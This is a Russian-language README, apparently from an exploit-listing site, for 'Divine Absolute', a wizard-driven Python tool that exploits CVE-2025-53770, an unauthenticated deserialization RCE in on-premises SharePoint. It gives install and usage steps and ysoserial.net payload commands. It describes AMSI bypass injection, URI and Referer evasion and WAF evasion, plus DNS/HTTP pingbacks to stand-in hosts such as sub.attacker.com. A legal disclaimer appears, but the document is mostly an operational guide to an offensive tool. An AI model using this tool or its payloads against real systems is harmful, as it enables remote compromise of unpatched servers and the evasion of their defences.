## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EXFIL0-CVE-2025-53770
# Divine Absolute — Инструмент эксплуатации CVE-2025-53770


## Обзор
**Divine Absolute** — это сложный, управляемый мастером инструмент эксплуатации на Python, нацеленный на **CVE-2025-53770** , критическую (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в локальных версиях Microsoft SharePoint Server (2016, 2019, Subscription Edition). Эта уязвимость, раскрытая как zero-day 19 июля 2025 года, возникает из-за десериализации недоверенных данных в `/_layouts/15/ToolPane.aspx`. Инструмент предназначен **исключительно для этического тестирования на проникновение и авторизованных исследований безопасности** , обеспечивая непревзойдённую точность, скрытность и адаптивность для разведки, эксплуатации и верификации.
**Репозиторий** : https://github.com/exfil0/CVE-2025-53770
> **⚠️ Юридическое предупреждение** : Этот инструмент предназначен для законного, авторизованного использования только в контролируемых средах с явного разрешения. Несанкционированное использование против систем, которыми вы не владеете или не имеете разрешения на тестирование, незаконно и может повлечь серьёзные правовые последствия. Автор не несёт ответственности за неправомерное использование.
## Возможности
* **Режимы** :
* **Recon** : Обнаруживает наличие SharePoint, версию и доступность `ToolPane.aspx` с расширенной оценкой и регулярными выражениями (например, `16.0.0.\d+-\w+?`).
* **Exploit** : Доставляет полезные нагрузки через `ToolPane.aspx` с надёжными обходами.
* **Full** : Объединяет разведку и эксплуатацию с опциональной агрессивной эксплуатацией.
* **Генерация полезных нагрузок** :
* Интеграция **ysoserial.net** для полезных нагрузок десериализации .NET (например, ObjectDataProvider, LosFormatter).
* Опциональный **pythonnet** для запасных HTTP/DNS pingback нагрузок (например, `WebRequest.Create`, `Dns.GetHostEntry`).
* Поддержка сжатия GZIP с явным кодированием/декодированием и проверкой base64.
* Внедрение обходов AMSI (базовое отражение, запутанное или пользовательское) в команды PowerShell, включая полезные нагрузки в base64 (`-enc`).
* **Обходы** :
* Обход URI: случайные или фиксированные суффиксы (например, `/xp.aspx`, на основе UUID).
* Подделка Referer: отсутствие, внешние домены (например, `www.google.com`), пользовательские URL или внутренние пути SharePoint (например, `/_layouts/15/sharepoint.aspx`).
## Контекст CVE-2025-53770
* **Уязвимость** : Удалённое выполнение кода без аутентификации через десериализацию в `/_layouts/15/ToolPane.aspx`.
* **Затронуты** : SharePoint Server 2016, 2019, Subscription Edition (снятые с поддержки версии 2010/2013 также уязвимы).
* **Не затронуты** : SharePoint Online (M365).
* **Эксплуатируется** : С 18 июля 2025 года в кампаниях, таких как «ToolShell», спонсируемых государственными субъектами (например, Linen Typhoon).
* **Исправления** : Патчи Microsoft (например, KB5002768, KB5002754), выпущенные 19 июля 2025 года, полностью устраняют уязвимость. Включение в CISA KEV требует от федеральных структур установить патчи до 21 июля 2025 года.
* **Смягчение** : Установка патчей, смена ключей после патча, включение AMSI/Defender (полный режим), мониторинг POST-запросов к `/ToolPane.aspx`, использование правил WAF (например, Cloudflare).
## Установка
### Предварительные требования
* **Python 3.8+**
* **Зависимости** :
root@kitploit:~
pip install requests termcolor
* **Опционально (для запасной сериализации .NET)** :
root@kitploit:~
pip install pythonnet
* **ysoserial.net** :
* Загрузите с релизов ysoserial.net.
* Поместите `ysoserial.exe` в известный путь (например, `./ysoserial.exe`).
* **Mono/Wine** (системы, отличные от Windows):
root@kitploit:~
# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS (через Homebrew)
brew install mono
* **Docker Lab** (рекомендуется для тестирования):
root@kitploit:~
docker pull mcr.microsoft.com/sharepoint/server:2019
### Настройка
1. Клонируйте репозиторий:
root@kitploit:~
git clone https://github.com/exfil0/CVE-2025-53770.git
cd CVE-2025-53770
2. Установите зависимости Python:
root@kitploit:~
pip install -r requirements.txt
3. Убедитесь, что `ysoserial.exe` доступен, или укажите путь к нему во время выполнения.
4. (Опционально) Проверьте Mono/Wine для систем, отличных от Windows.
## Использование
Запустите интерактивный мастер:
root@kitploit:~
python divine_absolute.py
### Рабочий процесс
1. **Выбор режима** :
* `Recon`: Сканирует на наличие SharePoint и версию.
* `Exploit`: Отправляет полезную нагрузку в `ToolPane.aspx`.
* `Full`: Разведка + эксплуатация (опциональный агрессивный режим).
2. **Ввод цели** :
* Одиночный URL (например, `https://sharepoint.example.com`).
* Файл с URL (по одному на строку).
3. **Настройка полезной нагрузки** :
* **ysoserial.net** : Укажите путь, гаджет (например, `ObjectDataProvider`) и команду (например, `cmd /c whoami`).
* **File** : Загрузите полезную нагрузку base64 GZIP из файла.
* **String** : Введите полезную нагрузку base64 GZIP напрямую.
* **Pingback** : Сгенерируйте HTTP/DNS pingback (например, `http://attacker.com/callback` или `sub.attacker.com`).
* Обход AMSI: выберите `NONE`, , или пользовательский фрагмент.
### Примеры команд
* **Разведка** :
root@kitploit:~
python divine_absolute.py
# Выберите: Mode=Recon, Target=https://sharepoint.example.com
* **Эксплуатация с ysoserial.net** :
root@kitploit:~
python divine_absolute.py
# Выберите: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
# ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
# Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
* **Полный режим с верификацией** :
root@kitploit:~
python divine_absolute.py
# Выберите: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
# Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
* **DNS Pingback** :
root@kitploit:~
python divine_absolute.py
# Выберите: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
### Вывод
Результаты сохраняются в `xanthorox_results.json` со следующими полями:
* `target`: Проверенный URL.
* `sharepoint_detected`: Логическое значение.
* `toolpane_accessible`: Логическое значение.
* `exploited`: Логическое значение (полезная нагрузка отправлена).
* `verified_rce`: Логическое/None (RCE подтверждено).
* `error`: Любые возникшие ошибки.
Пример:
root@kitploit:~
[
{
"target": "https://sharepoint.example.com",
"sharepoint_detected": true,
"toolpane_accessible": true,
"exploited": true,
"verified_rce": true,
"error": null
}
]
## Устранённые улучшения
Эта версия исправляет:
* **Адаптивное ограничение скорости** : Игнорирует ошибки, не связанные с повторными попытками (например, 404), для подсчёта успехов/ошибок; устанавливает минимальный порог RPS (0.01).
* **Внедрение AMSI** : Декодирует и внедряет обходы в команды PowerShell, закодированные в base64 (`-enc`); поддерживает не-PowerShell (например, `cmd.exe`) с предупреждениями.
* **Запасной Pingback** : Использует `pythonnet` для надёжного DNS pingback с `Dns.GetHostEntry` (экспериментально, требует гаджета для полного эффекта).
## Рекомендации по тестированию
* **Лабораторная установка** : Используйте контейнер Docker с SharePoint Server 2019 (без патча) для безопасного тестирования.
* **Тестирование WAF** : Проверьте обходы против Cloudflare или аналогичных WAF с адаптивным RPS.
* **Тестирование полезных нагрузок** : Генерируйте нагрузки с помощью `ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64` и проверяйте DNS-логи.
## Известные ограничения
* **Надёжность Pingback** : `Dns.GetHostEntry` в `pythonnet` может не срабатывать без определённой цепочки гаджетов.
* **Сложные команды** : Нестандартные команды PowerShell могут потребовать ручного внедрения обхода AMSI.
* **Обнаружение WAF** : Некоторые WAF могут блокировать полезные нагрузки, несмотря на обходы; тестируйте тщательно.
## Вклад
Приветствуются любые вклады! Пожалуйста:
1. Сделайте форк репозитория.
2. Создайте ветку для функции (`git checkout -b feature/awesome-improvement`).
3. Зафиксируйте изменения (`git commit -m "Add awesome improvement"`).
4. Отправьте изменения в ветку (`git push origin feature/awesome-improvement`).
5. Откройте pull request.
## Лицензия
Этот проект лицензирован под лицензией MIT. Подробности см. в файле LICENSE.
## Благодарности
* **xAI** : За вдохновение передовых исследований в области безопасности.
* **ysoserial.net Team** : За генератор полезных нагрузок десериализации .NET.
* **Security Community** : За понимание эксплуатации и смягчения CVE-2025-53770.
## Контакты
* **Автор** : @exfil0
* **Проблемы** : GitHub Issues
* **Telegram** : https://t.me/GOTOCVE
> **Примечание** : Всегда проверяйте полезные нагрузки и конфигурации в контролируемой лаборатории перед использованием. Будьте этичны и законны.